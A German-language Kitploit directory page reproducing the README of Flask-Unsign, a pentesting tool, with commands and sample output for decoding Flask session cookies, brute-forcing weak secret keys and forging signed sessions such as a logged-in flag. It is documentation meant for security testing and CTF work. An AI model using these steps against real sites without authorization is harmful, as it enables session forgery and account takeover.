Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Flask-Unsign — Kommandozeilen-Tool zum Abrufen, Dekodieren, Brute-Forcen und Erstellen von Session-Cookies einer Flask-Anwendung durch Erraten geheimer Schlüssel. | Kitploit
Tools/GitHubGitHub/paradoxis/flask-unsign
PasswortangriffeWebanwendungs-ExploitationCTFPenetrationstests
GitHubparadoxis/flask-unsign

Flask-Unsign

Kommandozeilen-Tool zum Abrufen, Dekodieren, Brute-Forcen und Erstellen von Session-Cookies einer Flask-Anwendung durch Erraten geheimer Schlüssel.

Repository anzeigen
66048vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

Flask Unsign

Build Status PyPI version codecov

Kommandozeilen-Tool zum Abrufen und Dekodieren von Session-Cookies einer Flask-Anwendung sowie zum Ermitteln von Secret Keys per Brute-Force und Erstellen eigener Session-Cookies. Für die eigenständige Wortlisten-Komponente besuche bitte das Repository flask-unsign-wordlist.

Voraussetzungen

  • Python 3.6+

Installation

Um die Anwendung zu installieren, verwende einfach pip:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

Wenn du nur den Kerncode installieren möchtest, lasse das Suffix [wordlist] weg:

root@kitploit:~
$ pip3 install flask-unsign

Um das Tool für Entwicklungszwecke zu installieren, führe den folgenden Befehl aus (nachdem du eine Kopie heruntergeladen hast):

root@kitploit:~
$ pip3 install -e .[test]

Verwendung

Um einen Überblick über alle möglichen Optionen zu erhalten, rufe flask-unsign einfach ohne Argumente auf:

root@kitploit:~
$ flask-unsign

Abrufen & Dekodieren von Session-Cookies

Da Flask-Cookies signiert und nicht verschlüsselt sind, ist es möglich, die Session-Daten lokal zu dekodieren. Verwende dazu das --decode-Argument.

Session-Cookies können abgerufen werden, indem du deine HTTP-Anfragen mit einem Proxy wie Burp Proxy untersuchst, den Netzwerkinspektor deines Browsers verwendest oder eine Browsererweiterung nutzt, um deine Cookies anzusehen/zu ändern. Standardmäßig verwendet Flask den Session-Namen "session".

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

Du kannst auch die automatische Session-Erfassungsfunktion von Flask-Unsign verwenden, indem du das --server-Argument anstelle des --cookie-Arguments übergibst. Beachte jedoch, dass nicht alle Webseiten eine Session zurückgeben, stelle also sicher, dass du eine URL übergibst, die dies tut.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Unsigning (Brute-Force von Secret Keys)

Nachdem du ein Beispiel-Session-Cookie erhalten hast, kannst du versuchen, den Secret Key des Servers per Brute-Force zu ermitteln. Wenn du Glück hast, könnte dieser auf etwas leicht Erratbares gesetzt sein, oder falls er online gefunden wurde, könnte er in einer deiner Wortlisten enthalten sein. Verwende dazu das --unsign-Argument.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Signing (Session-Manipulation)

Sobald du den Secret Key des Servers erhalten hast, kannst du deine eigenen benutzerdefinierten Session-Daten erstellen. Verwende dazu das --sign-Argument.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Fehlerbehebung

  • Bei der Installation des Programms tritt ein Fehler auf
    • Möglicherweise verwendest du die falsche pip-Binärdatei. Versuche den folgenden Befehl zu verwenden: python3.6 -m pip install flask-unsign
  • Ich habe einen Secret Key gefunden, aber meine selbst erstellten Sessions funktionieren nicht!
    • Es ist möglich, dass dein Zielserver eine ältere Version von itsdangerous verwendet. Aufgrund eines Problems mit zeitbasierten Sessions wurde der Algorithmus zur Zeitstempelgenerierung geändert. Um eine ältere Signatur zu erzeugen, versuche die --legacy-Option zu verwenden.
  • Meine Wortliste funktioniert nicht
    • Wortlisten erwarten Python-Strings, die durch Zeilenumbrüche getrennt sind (das heißt, du musst sie in Anführungszeichen setzen). Dies dient dazu, dass Binärstrings einfach in einem Zeilenformat gespeichert werden können. Wenn du dies nicht möchtest, kannst du diese Funktion deaktivieren, indem du das --no-literal-eval-Argument übergibst.

So funktioniert es

Wenn du dich fragst, wie genau das funktioniert, wirf einen Blick auf meinen Blogbeitrag, der dies im Detail erklärt, einschließlich einer Anleitung, wie du deinen eigenen Server vor diesem Angriff schützen kannst.

Lizenz

MIT License

Copyright (c) 2021 Luke Paris (Paradoxis)

Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die „Software“) erhält, kostenlos die Erlaubnis erteilt, uneingeschränkt mit der Software zu handeln, einschließlich, ohne Einschränkung, der Rechte, die Software zu verwenden, zu kopieren, zu modifizieren, zusammenzuführen, zu veröffentlichen, zu verbreiten, zu unterlizenzieren und/oder Kopien der Software zu verkaufen, sowie Personen, denen die Software zur Verfügung gestellt wird, dies zu erlauben, vorbehaltlich der folgenden Bedingungen:

Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.

DIE SOFTWARE WIRD OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG BEREITGESTELLT, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER HAFTBAR FÜR ANSPRÜCHE, SCHÄDEN ODER SONSTIGE HAFTUNG, OB IN EINEM VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IM ZUSAMMENHANG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.

Tool herunterladen